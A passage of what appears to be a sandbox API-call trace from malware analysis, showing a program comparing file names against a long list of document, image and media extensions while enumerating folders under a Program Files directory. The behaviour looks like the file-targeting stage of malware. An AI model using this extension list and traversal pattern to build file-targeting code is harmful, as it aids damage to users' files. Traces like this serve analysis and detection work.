	[0165.127] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0165.127] lstrlenW (lpString=".djvu") returned 5
	[0165.127] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0165.127] lstrlenW (lpString=".dng") returned 4
	[0165.127] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".doc") returned 4
	[0165.127] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".docm") returned 5
	[0165.127] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0165.127] lstrlenW (lpString=".docx") returned 5
	[0165.127] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0165.127] lstrlenW (lpString=".dot") returned 4
	[0165.127] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".dotm") returned 5
	[0165.127] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0165.127] lstrlenW (lpString=".dotx") returned 5
	[0165.127] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0165.127] lstrlenW (lpString=".dpx") returned 4
	[0165.127] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".dqy") returned 4
	[0165.127] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".dsn") returned 4
	[0165.127] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".dt") returned 3
	[0165.127] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0165.127] lstrlenW (lpString=".dtd") returned 4
	[0165.127] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".dwg") returned 4
	[0165.127] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0165.127] lstrlenW (lpString=".dwt") returned 4
	[0165.128] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".dx") returned 3
	[0165.128] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0165.128] lstrlenW (lpString=".dxf") returned 4
	[0165.128] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".edml") returned 5
	[0165.128] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0165.128] lstrlenW (lpString=".efd") returned 4
	[0165.128] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".elf") returned 4
	[0165.128] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".emf") returned 4
	[0165.128] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".emz") returned 4
	[0165.128] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".epf") returned 4
	[0165.128] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".eps") returned 4
	[0165.128] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".epsf") returned 5
	[0165.128] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0165.128] lstrlenW (lpString=".epsp") returned 5
	[0165.128] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0165.128] lstrlenW (lpString=".erf") returned 4
	[0165.128] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".exr") returned 4
	[0165.128] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".f4v") returned 4
	[0165.128] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0165.128] lstrlenW (lpString=".fido") returned 5
	[0165.128] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0165.128] lstrlenW (lpString=".flm") returned 4
	[0165.128] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".flv") returned 4
	[0165.129] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".frm") returned 4
	[0165.129] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".fxg") returned 4
	[0165.129] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".geo") returned 4
	[0165.129] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".gif") returned 4
	[0165.129] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".grs") returned 4
	[0165.129] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".gz") returned 3
	[0165.129] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0165.129] lstrlenW (lpString=".h") returned 2
	[0165.129] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.129] lstrlenW (lpString=".hdr") returned 4
	[0165.129] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".hpp") returned 4
	[0165.129] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".hta") returned 4
	[0165.129] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".htc") returned 4
	[0165.129] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0165.129] lstrlenW (lpString=".htm") returned 4
	[0165.130] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.130] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0165.130] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US") returned 100
	[0165.135] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.135] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1
	[0165.138] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.138] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1
	[0165.141] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.141] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1
	[0165.145] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.145] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1
	[0165.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.801] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0165.804] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.804] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f926c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0165.806] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.806] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7fd9866, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-US", cAlternateFileName="")) returned 1
	[0165.809] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.809] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa803fb1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e93ff63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-XL", cAlternateFileName="")) returned 1
	[0165.812] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.812] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e9661e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa80b9206, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ebc8896, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0165.815] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.815] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ebc8896, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8130bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ec87470, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-ES", cAlternateFileName="")) returned 1
	[0165.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.818] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0165.821] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.821] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1
	[0165.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.824] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0165.826] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.826] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1
	[0165.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.829] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0165.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.832] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1
	[0165.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.834] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1
	[0165.837] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0165.837] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0166.082] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.082] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0166.085] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.085] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0166.088] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.088] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0166.090] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.090] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0166.093] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.093] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0166.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.096] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0166.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.101] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1
	[0166.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.104] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0166.107] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.107] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0166.109] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.109] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1
	[0166.112] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.112] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0166.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0166.115] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1
	[0166.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
